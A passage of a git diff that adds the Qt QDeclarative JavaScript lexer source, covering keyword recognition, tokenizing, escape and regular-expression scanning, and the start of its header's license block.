+ && c[6] == QLatin1Char('t'))
+ return QDeclarativeJSGrammar::T_DEFAULT;
+ else if (c[0] == QLatin1Char('f') && c[1] == QLatin1Char('i')
+ && c[2] == QLatin1Char('n') && c[3] == QLatin1Char('a')
+ && c[4] == QLatin1Char('l') && c[5] == QLatin1Char('l')
+ && c[6] == QLatin1Char('y'))
+ return QDeclarativeJSGrammar::T_FINALLY;
+ else if (check_reserved) {
+ if (c[0] == QLatin1Char('b') && c[1] == QLatin1Char('o')
+ && c[2] == QLatin1Char('o') && c[3] == QLatin1Char('l')
+ && c[4] == QLatin1Char('e') && c[5] == QLatin1Char('a')
+ && c[6] == QLatin1Char('n'))
+ return QDeclarativeJSGrammar::T_RESERVED_WORD;
+ else if (c[0] == QLatin1Char('e') && c[1] == QLatin1Char('x')
+ && c[2] == QLatin1Char('t') && c[3] == QLatin1Char('e')
+ && c[4] == QLatin1Char('n') && c[5] == QLatin1Char('d')
+ && c[6] == QLatin1Char('s'))
+ return QDeclarativeJSGrammar::T_RESERVED_WORD;
+ else if (c[0] == QLatin1Char('p') && c[1] == QLatin1Char('a')
+ && c[2] == QLatin1Char('c') && c[3] == QLatin1Char('k')
+ && c[4] == QLatin1Char('a') && c[5] == QLatin1Char('g')
+ && c[6] == QLatin1Char('e'))
+ return QDeclarativeJSGrammar::T_RESERVED_WORD;
+ else if (c[0] == QLatin1Char('p') && c[1] == QLatin1Char('r')
+ && c[2] == QLatin1Char('i') && c[3] == QLatin1Char('v')
+ && c[4] == QLatin1Char('a') && c[5] == QLatin1Char('t')
+ && c[6] == QLatin1Char('e'))
+ return QDeclarativeJSGrammar::T_RESERVED_WORD;
+ }
+ } break;
+
+ case 8: {
+ if (c[0] == QLatin1Char('c') && c[1] == QLatin1Char('o')
+ && c[2] == QLatin1Char('n') && c[3] == QLatin1Char('t')
+ && c[4] == QLatin1Char('i') && c[5] == QLatin1Char('n')
+ && c[6] == QLatin1Char('u') && c[7] == QLatin1Char('e'))
+ return QDeclarativeJSGrammar::T_CONTINUE;
+ else if (c[0] == QLatin1Char('f') && c[1] == QLatin1Char('u')
+ && c[2] == QLatin1Char('n') && c[3] == QLatin1Char('c')
+ && c[4] == QLatin1Char('t') && c[5] == QLatin1Char('i')
+ && c[6] == QLatin1Char('o') && c[7] == QLatin1Char('n'))
+ return QDeclarativeJSGrammar::T_FUNCTION;
+ else if (c[0] == QLatin1Char('d') && c[1] == QLatin1Char('e')
+ && c[2] == QLatin1Char('b') && c[3] == QLatin1Char('u')
+ && c[4] == QLatin1Char('g') && c[5] == QLatin1Char('g')
+ && c[6] == QLatin1Char('e') && c[7] == QLatin1Char('r'))
+ return QDeclarativeJSGrammar::T_DEBUGGER;
+ else if (c[0] == QLatin1Char('p') && c[1] == QLatin1Char('r')
+ && c[2] == QLatin1Char('o') && c[3] == QLatin1Char('p')
+ && c[4] == QLatin1Char('e') && c[5] == QLatin1Char('r')
+ && c[6] == QLatin1Char('t') && c[7] == QLatin1Char('y'))
+ return QDeclarativeJSGrammar::T_PROPERTY;
+ else if (c[0] == QLatin1Char('r') && c[1] == QLatin1Char('e')
+ && c[2] == QLatin1Char('a') && c[3] == QLatin1Char('d')
+ && c[4] == QLatin1Char('o') && c[5] == QLatin1Char('n')
+ && c[6] == QLatin1Char('l') && c[7] == QLatin1Char('y'))
+ return QDeclarativeJSGrammar::T_READONLY;
+ else if (check_reserved) {
+ if (c[0] == QLatin1Char('a') && c[1] == QLatin1Char('b')
+ && c[2] == QLatin1Char('s') && c[3] == QLatin1Char('t')
+ && c[4] == QLatin1Char('r') && c[5] == QLatin1Char('a')
+ && c[6] == QLatin1Char('c') && c[7] == QLatin1Char('t'))
+ return QDeclarativeJSGrammar::T_RESERVED_WORD;
+ else if (c[0] == QLatin1Char('v') && c[1] == QLatin1Char('o')
+ && c[2] == QLatin1Char('l') && c[3] == QLatin1Char('a')
+ && c[4] == QLatin1Char('t') && c[5] == QLatin1Char('i')
+ && c[6] == QLatin1Char('l') && c[7] == QLatin1Char('e'))
+ return QDeclarativeJSGrammar::T_RESERVED_WORD;
+ }
+ } break;
+
+ case 9: {
+ if (check_reserved) {
+ if (c[0] == QLatin1Char('i') && c[1] == QLatin1Char('n')
+ && c[2] == QLatin1Char('t') && c[3] == QLatin1Char('e')
+ && c[4] == QLatin1Char('r') && c[5] == QLatin1Char('f')
+ && c[6] == QLatin1Char('a') && c[7] == QLatin1Char('c')
+ && c[8] == QLatin1Char('e'))
+ return QDeclarativeJSGrammar::T_RESERVED_WORD;
+ else if (c[0] == QLatin1Char('t') && c[1] == QLatin1Char('r')
+ && c[2] == QLatin1Char('a') && c[3] == QLatin1Char('n')
+ && c[4] == QLatin1Char('s') && c[5] == QLatin1Char('i')
+ && c[6] == QLatin1Char('e') && c[7] == QLatin1Char('n')
+ && c[8] == QLatin1Char('t'))
+ return QDeclarativeJSGrammar::T_RESERVED_WORD;
+ else if (c[0] == QLatin1Char('p') && c[1] == QLatin1Char('r')
+ && c[2] == QLatin1Char('o') && c[3] == QLatin1Char('t')
+ && c[4] == QLatin1Char('e') && c[5] == QLatin1Char('c')
+ && c[6] == QLatin1Char('t') && c[7] == QLatin1Char('e')
+ && c[8] == QLatin1Char('d'))
+ return QDeclarativeJSGrammar::T_RESERVED_WORD;
+ }
+ } break;
+
+ case 10: {
+ if (c[0] == QLatin1Char('i') && c[1] == QLatin1Char('n')
+ && c[2] == QLatin1Char('s') && c[3] == QLatin1Char('t')
+ && c[4] == QLatin1Char('a') && c[5] == QLatin1Char('n')
+ && c[6] == QLatin1Char('c') && c[7] == QLatin1Char('e')
+ && c[8] == QLatin1Char('o') && c[9] == QLatin1Char('f'))
+ return QDeclarativeJSGrammar::T_INSTANCEOF;
+ else if (check_reserved) {
+ if (c[0] == QLatin1Char('i') && c[1] == QLatin1Char('m')
+ && c[2] == QLatin1Char('p') && c[3] == QLatin1Char('l')
+ && c[4] == QLatin1Char('e') && c[5] == QLatin1Char('m')
+ && c[6] == QLatin1Char('e') && c[7] == QLatin1Char('n')
+ && c[8] == QLatin1Char('t') && c[9] == QLatin1Char('s'))
+ return QDeclarativeJSGrammar::T_RESERVED_WORD;
+ }
+ } break;
+
+ case 12: {
+ if (check_reserved) {
+ if (c[0] == QLatin1Char('s') && c[1] == QLatin1Char('y')
+ && c[2] == QLatin1Char('n') && c[3] == QLatin1Char('c')
+ && c[4] == QLatin1Char('h') && c[5] == QLatin1Char('r')
+ && c[6] == QLatin1Char('o') && c[7] == QLatin1Char('n')
+ && c[8] == QLatin1Char('i') && c[9] == QLatin1Char('z')
+ && c[10] == QLatin1Char('e') && c[11] == QLatin1Char('d'))
+ return QDeclarativeJSGrammar::T_RESERVED_WORD;
+ }
+ } break;
+
+ } // switch
+
+ return -1;
+}
+
+int Lexer::lex()
+{
+ int token = 0;
+ state = Start;
+ ushort stringType = 0; // either single or double quotes
+ bool multiLineString = false;
+ pos8 = pos16 = 0;
+ done = false;
+ terminator = false;
+
+ // did we push a token on the stack previously ?
+ // (after an automatic semicolon insertion)
+ if (stackToken >= 0) {
+ setDone(Other);
+ token = stackToken;
+ stackToken = -1;
+ }
+
+ bool identifierWithEscapedUnicode = false;
+
+ while (!done) {
+ switch (state) {
+ case Start:
+ if (isWhiteSpace()) {
+ // do nothing
+ } else if (current == '/' && next1 == '/') {
+ recordStartPos();
+ shift(1);
+ state = InSingleLineComment;
+ } else if (current == '/' && next1 == '*') {
+ recordStartPos();
+ shift(1);
+ state = InMultiLineComment;
+ } else if (current == 0) {
+ syncProhibitAutomaticSemicolon();
+ if (!terminator && !delimited && !prohibitAutomaticSemicolon) {
+ // automatic semicolon insertion if program incomplete
+ token = QDeclarativeJSGrammar::T_SEMICOLON;
+ stackToken = 0;
+ setDone(Other);
+ } else {
+ setDone(Eof);
+ }
+ } else if (isLineTerminator()) {
+ if (restrKeyword) {
+ // automatic semicolon insertion
+ recordStartPos();
+ token = QDeclarativeJSGrammar::T_SEMICOLON;
+ setDone(Other);
+ } else {
+ shiftWindowsLineBreak();
+ yylineno++;
+ yycolumn = 0;
+ bol = true;
+ terminator = true;
+ syncProhibitAutomaticSemicolon();
+ }
+ } else if (current == '"' || current == '\'') {
+ recordStartPos();
+ state = InString;
+ multiLineString = false;
+ stringType = current;
+ } else if (current == '\\' && next1 == 'u') {
+ identifierWithEscapedUnicode = true;
+ recordStartPos();
+
+ shift(2); // skip the unicode escape prefix `\u'
+
+ if (isHexDigit(current) && isHexDigit(next1) &&
+ isHexDigit(next2) && isHexDigit(next3)) {
+ record16(convertUnicode(current, next1, next2, next3));
+ shift(3);
+ state = InIdentifier;
+ } else {
+ setDone(Bad);
+ err = IllegalUnicodeEscapeSequence;
+ errmsg = QCoreApplication::translate("QDeclarativeParser", "Illegal unicode escape sequence");
+ break;
+ }
+
+ } else if (isIdentLetter(current)) {
+ identifierWithEscapedUnicode = false;
+ recordStartPos();
+ record16(current);
+ state = InIdentifier;
+ } else if (current == '0') {
+ recordStartPos();
+ record8(current);
+ state = InNum0;
+ } else if (isDecimalDigit(current)) {
+ recordStartPos();
+ record8(current);
+ state = InNum;
+ } else if (current == '.' && isDecimalDigit(next1)) {
+ recordStartPos();
+ record8(current);
+ state = InDecimal;
+ } else {
+ recordStartPos();
+ token = matchPunctuator(current, next1, next2, next3);
+ if (token != -1) {
+ if (terminator && !delimited && !prohibitAutomaticSemicolon
+ && (token == QDeclarativeJSGrammar::T_PLUS_PLUS
+ || token == QDeclarativeJSGrammar::T_MINUS_MINUS)) {
+ // automatic semicolon insertion
+ stackToken = token;
+ token = QDeclarativeJSGrammar::T_SEMICOLON;
+ }
+ setDone(Other);
+ }
+ else {
+ setDone(Bad);
+ err = IllegalCharacter;
+ errmsg = QCoreApplication::translate("QDeclarativeParser", "Illegal character");
+ }
+ }
+ break;
+ case InString:
+ if (current == stringType) {
+ shift(1);
+ setDone(String);
+ } else if (isLineTerminator()) {
+ multiLineString = true;
+ record16(current);
+ } else if (current == 0 || isLineTerminator()) {
+ setDone(Bad);
+ err = UnclosedStringLiteral;
+ errmsg = QCoreApplication::translate("QDeclarativeParser", "Unclosed string at end of line");
+ } else if (current == '\\') {
+ state = InEscapeSequence;
+ } else {
+ record16(current);
+ }
+ break;
+ // Escape Sequences inside of strings
+ case InEscapeSequence:
+ if (isOctalDigit(current)) {
+ if (current >= '0' && current <= '3' &&
+ isOctalDigit(next1) && isOctalDigit(next2)) {
+ record16(convertOctal(current, next1, next2));
+ shift(2);
+ state = InString;
+ } else if (isOctalDigit(current) &&
+ isOctalDigit(next1)) {
+ record16(convertOctal('0', current, next1));
+ shift(1);
+ state = InString;
+ } else if (isOctalDigit(current)) {
+ record16(convertOctal('0', '0', current));
+ state = InString;
+ } else {
+ setDone(Bad);
+ err = IllegalEscapeSequence;
+ errmsg = QCoreApplication::translate("QDeclarativeParser", "Illegal escape sequence");
+ }
+ } else if (current == 'x')
+ state = InHexEscape;
+ else if (current == 'u')
+ state = InUnicodeEscape;
+ else {
+ if (isLineTerminator()) {
+ shiftWindowsLineBreak();
+ yylineno++;
+ yycolumn = 0;
+ bol = true;
+ } else {
+ record16(singleEscape(current));
+ }
+ state = InString;
+ }
+ break;
+ case InHexEscape:
+ if (isHexDigit(current) && isHexDigit(next1)) {
+ state = InString;
+ record16(QLatin1Char(convertHex(current, next1)));
+ shift(1);
+ } else if (current == stringType) {
+ record16(QLatin1Char('x'));
+ shift(1);
+ setDone(String);
+ } else {
+ record16(QLatin1Char('x'));
+ record16(current);
+ state = InString;
+ }
+ break;
+ case InUnicodeEscape:
+ if (isHexDigit(current) && isHexDigit(next1) &&
+ isHexDigit(next2) && isHexDigit(next3)) {
+ record16(convertUnicode(current, next1, next2, next3));
+ shift(3);
+ state = InString;
+ } else if (current == stringType) {
+ record16(QLatin1Char('u'));
+ shift(1);
+ setDone(String);
+ } else {
+ setDone(Bad);
+ err = IllegalUnicodeEscapeSequence;
+ errmsg = QCoreApplication::translate("QDeclarativeParser", "Illegal unicode escape sequence");
+ }
+ break;
+ case InSingleLineComment:
+ if (isLineTerminator()) {
+ shiftWindowsLineBreak();
+ yylineno++;
+ yycolumn = 0;
+ terminator = true;
+ bol = true;
+ if (restrKeyword) {
+ token = QDeclarativeJSGrammar::T_SEMICOLON;
+ setDone(Other);
+ } else
+ state = Start;
+ if (driver) driver->addComment(startpos+2, tokenLength()-2, startlineno, startcolumn+2);
+ } else if (current == 0) {
+ if (driver) driver->addComment(startpos+2, tokenLength()-2, startlineno, startcolumn+2);
+ setDone(Eof);
+ }
+
+ break;
+ case InMultiLineComment:
+ if (current == 0) {
+ setDone(Bad);
+ err = UnclosedComment;
+ errmsg = QCoreApplication::translate("QDeclarativeParser", "Unclosed comment at end of file");
+ if (driver) driver->addComment(startpos+2, tokenLength()-2, startlineno, startcolumn+2);
+ } else if (isLineTerminator()) {
+ shiftWindowsLineBreak();
+ yylineno++;
+ } else if (current == '*' && next1 == '/') {
+ state = Start;
+ shift(1);
+ if (driver) driver->addComment(startpos+2, tokenLength()-3, startlineno, startcolumn+2);
+ }
+
+ break;
+ case InIdentifier:
+ if (isIdentLetter(current) || isDecimalDigit(current)) {
+ record16(current);
+ break;
+ } else if (current == '\\' && next1 == 'u') {
+ identifierWithEscapedUnicode = true;
+ shift(2); // skip the unicode escape prefix `\u'
+
+ if (isHexDigit(current) && isHexDigit(next1) &&
+ isHexDigit(next2) && isHexDigit(next3)) {
+ record16(convertUnicode(current, next1, next2, next3));
+ shift(3);
+ break;
+ } else {
+ setDone(Bad);
+ err = IllegalUnicodeEscapeSequence;
+ errmsg = QCoreApplication::translate("QDeclarativeParser", "Illegal unicode escape sequence");
+ break;
+ }
+ }
+ setDone(Identifier);
+ break;
+ case InNum0:
+ if (current == 'x' || current == 'X') {
+ record8(current);
+ state = InHex;
+ } else if (current == '.') {
+ record8(current);
+ state = InDecimal;
+ } else if (current == 'e' || current == 'E') {
+ record8(current);
+ state = InExponentIndicator;
+ } else if (isOctalDigit(current)) {
+ record8(current);
+ state = InOctal;
+ } else if (isDecimalDigit(current)) {
+ record8(current);
+ state = InDecimal;
+ } else {
+ setDone(Number);
+ }
+ break;
+ case InHex:
+ if (isHexDigit(current))
+ record8(current);
+ else
+ setDone(Hex);
+ break;
+ case InOctal:
+ if (isOctalDigit(current)) {
+ record8(current);
+ } else if (isDecimalDigit(current)) {
+ record8(current);
+ state = InDecimal;
+ } else {
+ setDone(Octal);
+ }
+ break;
+ case InNum:
+ if (isDecimalDigit(current)) {
+ record8(current);
+ } else if (current == '.') {
+ record8(current);
+ state = InDecimal;
+ } else if (current == 'e' || current == 'E') {
+ record8(current);
+ state = InExponentIndicator;
+ } else {
+ setDone(Number);
+ }
+ break;
+ case InDecimal:
+ if (isDecimalDigit(current)) {
+ record8(current);
+ } else if (current == 'e' || current == 'E') {
+ record8(current);
+ state = InExponentIndicator;
+ } else {
+ setDone(Number);
+ }
+ break;
+ case InExponentIndicator:
+ if (current == '+' || current == '-') {
+ record8(current);
+ } else if (isDecimalDigit(current)) {
+ record8(current);
+ state = InExponent;
+ } else {
+ setDone(Bad);
+ err = IllegalExponentIndicator;
+ errmsg = QCoreApplication::translate("QDeclarativeParser", "Illegal syntax for exponential number");
+ }
+ break;
+ case InExponent:
+ if (isDecimalDigit(current)) {
+ record8(current);
+ } else {
+ setDone(Number);
+ }
+ break;
+ default:
+ Q_ASSERT_X(0, "Lexer::lex", "Unhandled state in switch statement");
+ }
+
+ // move on to the next character
+ if (!done)
+ shift(1);
+ if (state != Start && state != InSingleLineComment)
+ bol = false;
+ }
+
+ // no identifiers allowed directly after numeric literal, e.g. "3in" is bad
+ if ((state == Number || state == Octal || state == Hex)
+ && isIdentLetter(current)) {
+ state = Bad;
+ err = IllegalIdentifier;
+ errmsg = QCoreApplication::translate("QDeclarativeParser", "Identifier cannot start with numeric literal");
+ }
+
+ // terminate string
+ buffer8[pos8] = '\0';
+
+ double dval = 0;
+ if (state == Number) {
+ dval = qstrtod(buffer8, 0, 0);
+ } else if (state == Hex) { // scan hex numbers
+ dval = integerFromString(buffer8, pos8, 16);
+ state = Number;
+ } else if (state == Octal) { // scan octal number
+ dval = integerFromString(buffer8, pos8, 8);
+ state = Number;
+ }
+
+ restrKeyword = false;
+ delimited = false;
+
+ switch (parenthesesState) {
+ case IgnoreParentheses:
+ break;
+ case CountParentheses:
+ if (token == QDeclarativeJSGrammar::T_RPAREN) {
+ --parenthesesCount;
+ if (parenthesesCount == 0)
+ parenthesesState = BalancedParentheses;
+ } else if (token == QDeclarativeJSGrammar::T_LPAREN) {
+ ++parenthesesCount;
+ }
+ break;
+ case BalancedParentheses:
+ parenthesesState = IgnoreParentheses;
+ break;
+ }
+
+ switch (state) {
+ case Eof:
+ return 0;
+ case Other:
+ if (token == QDeclarativeJSGrammar::T_RBRACE || token == QDeclarativeJSGrammar::T_SEMICOLON)
+ delimited = true;
+ return token;
+ case Identifier:
+ token = -1;
+ if (! identifierWithEscapedUnicode)
+ token = findReservedWord(buffer16, pos16);
+
+ if (token < 0) {
+ /* TODO: close leak on parse error. same holds true for String */
+ if (driver)
+ qsyylval.ustr = driver->intern(buffer16, pos16);
+ else
+ qsyylval.ustr = 0;
+ return QDeclarativeJSGrammar::T_IDENTIFIER;
+ }
+ if (token == QDeclarativeJSGrammar::T_CONTINUE || token == QDeclarativeJSGrammar::T_BREAK
+ || token == QDeclarativeJSGrammar::T_RETURN || token == QDeclarativeJSGrammar::T_THROW) {
+ restrKeyword = true;
+ } else if (token == QDeclarativeJSGrammar::T_IF || token == QDeclarativeJSGrammar::T_FOR
+ || token == QDeclarativeJSGrammar::T_WHILE || token == QDeclarativeJSGrammar::T_WITH) {
+ parenthesesState = CountParentheses;
+ parenthesesCount = 0;
+ } else if (token == QDeclarativeJSGrammar::T_DO) {
+ parenthesesState = BalancedParentheses;
+ }
+ return token;
+ case String:
+ if (driver)
+ qsyylval.ustr = driver->intern(buffer16, pos16);
+ else
+ qsyylval.ustr = 0;
+ return multiLineString?QDeclarativeJSGrammar::T_MULTILINE_STRING_LITERAL:QDeclarativeJSGrammar::T_STRING_LITERAL;
+ case Number:
+ qsyylval.dval = dval;
+ return QDeclarativeJSGrammar::T_NUMERIC_LITERAL;
+ case Bad:
+ return -1;
+ default:
+ Q_ASSERT(!"unhandled numeration value in switch");
+ return -1;
+ }
+}
+
+bool Lexer::isWhiteSpace() const
+{
+ return (current == ' ' || current == '\t' ||
+ current == 0x0b || current == 0x0c);
+}
+
+bool Lexer::isLineTerminator() const
+{
+ return (current == '\n' || current == '\r');
+}
+
+bool Lexer::isIdentLetter(ushort c)
+{
+ // ASCII-biased, since all reserved words are ASCII, aand hence the
+ // bulk of content to be parsed.
+ if ((c >= 'a' && c <= 'z')
+ || (c >= 'A' && c <= 'Z')
+ || c == '$'
+ || c == '_')
+ return true;
+ if (c < 128)
+ return false;
+ return QChar(c).isLetterOrNumber();
+}
+
+bool Lexer::isDecimalDigit(ushort c)
+{
+ return (c >= '0' && c <= '9');
+}
+
+bool Lexer::isHexDigit(ushort c) const
+{
+ return ((c >= '0' && c <= '9')
+ || (c >= 'a' && c <= 'f')
+ || (c >= 'A' && c <= 'F'));
+}
+
+bool Lexer::isOctalDigit(ushort c) const
+{
+ return (c >= '0' && c <= '7');
+}
+
+int Lexer::matchPunctuator(ushort c1, ushort c2,
+ ushort c3, ushort c4)
+{
+ if (c1 == '>' && c2 == '>' && c3 == '>' && c4 == '=') {
+ shift(4);
+ return QDeclarativeJSGrammar::T_GT_GT_GT_EQ;
+ } else if (c1 == '=' && c2 == '=' && c3 == '=') {
+ shift(3);
+ return QDeclarativeJSGrammar::T_EQ_EQ_EQ;
+ } else if (c1 == '!' && c2 == '=' && c3 == '=') {
+ shift(3);
+ return QDeclarativeJSGrammar::T_NOT_EQ_EQ;
+ } else if (c1 == '>' && c2 == '>' && c3 == '>') {
+ shift(3);
+ return QDeclarativeJSGrammar::T_GT_GT_GT;
+ } else if (c1 == '<' && c2 == '<' && c3 == '=') {
+ shift(3);
+ return QDeclarativeJSGrammar::T_LT_LT_EQ;
+ } else if (c1 == '>' && c2 == '>' && c3 == '=') {
+ shift(3);
+ return QDeclarativeJSGrammar::T_GT_GT_EQ;
+ } else if (c1 == '<' && c2 == '=') {
+ shift(2);
+ return QDeclarativeJSGrammar::T_LE;
+ } else if (c1 == '>' && c2 == '=') {
+ shift(2);
+ return QDeclarativeJSGrammar::T_GE;
+ } else if (c1 == '!' && c2 == '=') {
+ shift(2);
+ return QDeclarativeJSGrammar::T_NOT_EQ;
+ } else if (c1 == '+' && c2 == '+') {
+ shift(2);
+ return QDeclarativeJSGrammar::T_PLUS_PLUS;
+ } else if (c1 == '-' && c2 == '-') {
+ shift(2);
+ return QDeclarativeJSGrammar::T_MINUS_MINUS;
+ } else if (c1 == '=' && c2 == '=') {
+ shift(2);
+ return QDeclarativeJSGrammar::T_EQ_EQ;
+ } else if (c1 == '+' && c2 == '=') {
+ shift(2);
+ return QDeclarativeJSGrammar::T_PLUS_EQ;
+ } else if (c1 == '-' && c2 == '=') {
+ shift(2);
+ return QDeclarativeJSGrammar::T_MINUS_EQ;
+ } else if (c1 == '*' && c2 == '=') {
+ shift(2);
+ return QDeclarativeJSGrammar::T_STAR_EQ;
+ } else if (c1 == '/' && c2 == '=') {
+ shift(2);
+ return QDeclarativeJSGrammar::T_DIVIDE_EQ;
+ } else if (c1 == '&' && c2 == '=') {
+ shift(2);
+ return QDeclarativeJSGrammar::T_AND_EQ;
+ } else if (c1 == '^' && c2 == '=') {
+ shift(2);
+ return QDeclarativeJSGrammar::T_XOR_EQ;
+ } else if (c1 == '%' && c2 == '=') {
+ shift(2);
+ return QDeclarativeJSGrammar::T_REMAINDER_EQ;
+ } else if (c1 == '|' && c2 == '=') {
+ shift(2);
+ return QDeclarativeJSGrammar::T_OR_EQ;
+ } else if (c1 == '<' && c2 == '<') {
+ shift(2);
+ return QDeclarativeJSGrammar::T_LT_LT;
+ } else if (c1 == '>' && c2 == '>') {
+ shift(2);
+ return QDeclarativeJSGrammar::T_GT_GT;
+ } else if (c1 == '&' && c2 == '&') {
+ shift(2);
+ return QDeclarativeJSGrammar::T_AND_AND;
+ } else if (c1 == '|' && c2 == '|') {
+ shift(2);
+ return QDeclarativeJSGrammar::T_OR_OR;
+ }
+
+ switch(c1) {
+ case '=': shift(1); return QDeclarativeJSGrammar::T_EQ;
+ case '>': shift(1); return QDeclarativeJSGrammar::T_GT;
+ case '<': shift(1); return QDeclarativeJSGrammar::T_LT;
+ case ',': shift(1); return QDeclarativeJSGrammar::T_COMMA;
+ case '!': shift(1); return QDeclarativeJSGrammar::T_NOT;
+ case '~': shift(1); return QDeclarativeJSGrammar::T_TILDE;
+ case '?': shift(1); return QDeclarativeJSGrammar::T_QUESTION;
+ case ':': shift(1); return QDeclarativeJSGrammar::T_COLON;
+ case '.': shift(1); return QDeclarativeJSGrammar::T_DOT;
+ case '+': shift(1); return QDeclarativeJSGrammar::T_PLUS;
+ case '-': shift(1); return QDeclarativeJSGrammar::T_MINUS;
+ case '*': shift(1); return QDeclarativeJSGrammar::T_STAR;
+ case '/': shift(1); return QDeclarativeJSGrammar::T_DIVIDE_;
+ case '&': shift(1); return QDeclarativeJSGrammar::T_AND;
+ case '|': shift(1); return QDeclarativeJSGrammar::T_OR;
+ case '^': shift(1); return QDeclarativeJSGrammar::T_XOR;
+ case '%': shift(1); return QDeclarativeJSGrammar::T_REMAINDER;
+ case '(': shift(1); return QDeclarativeJSGrammar::T_LPAREN;
+ case ')': shift(1); return QDeclarativeJSGrammar::T_RPAREN;
+ case '{': shift(1); return QDeclarativeJSGrammar::T_LBRACE;
+ case '}': shift(1); return QDeclarativeJSGrammar::T_RBRACE;
+ case '[': shift(1); return QDeclarativeJSGrammar::T_LBRACKET;
+ case ']': shift(1); return QDeclarativeJSGrammar::T_RBRACKET;
+ case ';': shift(1); return QDeclarativeJSGrammar::T_SEMICOLON;
+
+ default: return -1;
+ }
+}
+
+ushort Lexer::singleEscape(ushort c) const
+{
+ switch(c) {
+ case 'b':
+ return 0x08;
+ case 't':
+ return 0x09;
+ case 'n':
+ return 0x0A;
+ case 'v':
+ return 0x0B;
+ case 'f':
+ return 0x0C;
+ case 'r':
+ return 0x0D;
+ case '"':
+ return 0x22;
+ case '\'':
+ return 0x27;
+ case '\\':
+ return 0x5C;
+ default:
+ return c;
+ }
+}
+
+ushort Lexer::convertOctal(ushort c1, ushort c2,
+ ushort c3) const
+{
+ return ((c1 - '0') * 64 + (c2 - '0') * 8 + c3 - '0');
+}
+
+unsigned char Lexer::convertHex(ushort c)
+{
+ if (c >= '0' && c <= '9')
+ return (c - '0');
+ else if (c >= 'a' && c <= 'f')
+ return (c - 'a' + 10);
+ else
+ return (c - 'A' + 10);
+}
+
+unsigned char Lexer::convertHex(ushort c1, ushort c2)
+{
+ return ((convertHex(c1) << 4) + convertHex(c2));
+}
+
+QChar Lexer::convertUnicode(ushort c1, ushort c2,
+ ushort c3, ushort c4)
+{
+ return QChar((convertHex(c3) << 4) + convertHex(c4),
+ (convertHex(c1) << 4) + convertHex(c2));
+}
+
+void Lexer::record8(ushort c)
+{
+ Q_ASSERT(c <= 0xff);
+
+ // enlarge buffer if full
+ if (pos8 >= size8 - 1) {
+ char *tmp = new char[2 * size8];
+ memcpy(tmp, buffer8, size8 * sizeof(char));
+ delete [] buffer8;
+ buffer8 = tmp;
+ size8 *= 2;
+ }
+
+ buffer8[pos8++] = (char) c;
+}
+
+void Lexer::record16(QChar c)
+{
+ // enlarge buffer if full
+ if (pos16 >= size16 - 1) {
+ QChar *tmp = new QChar[2 * size16];
+ memcpy(tmp, buffer16, size16 * sizeof(QChar));
+ delete [] buffer16;
+ buffer16 = tmp;
+ size16 *= 2;
+ }
+
+ buffer16[pos16++] = c;
+}
+
+void Lexer::recordStartPos()
+{
+ startpos = pos;
+ startlineno = yylineno;
+ startcolumn = yycolumn;
+}
+
+bool Lexer::scanRegExp(RegExpBodyPrefix prefix)
+{
+ pos16 = 0;
+ pattern = 0;
+
+ if (prefix == EqualPrefix)
+ record16(QLatin1Char('='));
+
+ while (true) {
+ switch (current) {
+
+ case 0: // eof
+ case '\n': case '\r': // line terminator
+ errmsg = QCoreApplication::translate("QDeclarativeParser", "Unterminated regular expression literal");
+ return false;
+
+ case '/':
+ shift(1);
+
+ if (driver) // create the pattern
+ pattern = driver->intern(buffer16, pos16);
+
+ // scan the flags
+ pos16 = 0;
+ flags = 0;
+ while (isIdentLetter(current)) {
+ int flag = Ecma::RegExp::flagFromChar(current);
+ if (flag == 0) {
+ errmsg = QCoreApplication::translate("QDeclarativeParser", "Invalid regular expression flag '%0'")
+ .arg(QChar(current));
+ return false;
+ }
+ flags |= flag;
+ record16(current);
+ shift(1);
+ }
+ return true;
+
+ case '\\':
+ // regular expression backslash sequence
+ record16(current);
+ shift(1);
+
+ if (! current || isLineTerminator()) {
+ errmsg = QCoreApplication::translate("QDeclarativeParser", "Unterminated regular expression backslash sequence");
+ return false;
+ }
+
+ record16(current);
+ shift(1);
+ break;
+
+ case '[':
+ // regular expression class
+ record16(current);
+ shift(1);
+
+ while (current && ! isLineTerminator()) {
+ if (current == ']')
+ break;
+ else if (current == '\\') {
+ // regular expression backslash sequence
+ record16(current);
+ shift(1);
+
+ if (! current || isLineTerminator()) {
+ errmsg = QCoreApplication::translate("QDeclarativeParser", "Unterminated regular expression backslash sequence");
+ return false;
+ }
+
+ record16(current);
+ shift(1);
+ } else {
+ record16(current);
+ shift(1);
+ }
+ }
+
+ if (current != ']') {
+ errmsg = QCoreApplication::translate("QDeclarativeParser", "Unterminated regular expression class");
+ return false;
+ }
+
+ record16(current);
+ shift(1); // skip ]
+ break;
+
+ default:
+ record16(current);
+ shift(1);
+ } // switch
+ } // while
+
+ return false;
+}
+
+void Lexer::syncProhibitAutomaticSemicolon()
+{
+ if (parenthesesState == BalancedParentheses) {
+ // we have seen something like "if (foo)", which means we should
+ // never insert an automatic semicolon at this point, since it would
+ // then be expanded into an empty statement (ECMA-262 7.9.1)
+ prohibitAutomaticSemicolon = true;
+ parenthesesState = IgnoreParentheses;
+ } else {
+ prohibitAutomaticSemicolon = false;
+ }
+}
+
+QT_QML_END_NAMESPACE
+
+
diff --git a/src/declarative/qml/parser/qdeclarativejslexer_p.h b/src/declarative/qml/parser/qdeclarativejslexer_p.h
new file mode 100644
index 00000000..10621e54
--- /dev/null
+++ b/src/declarative/qml/parser/qdeclarativejslexer_p.h
@@ -0,0 +1,249 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
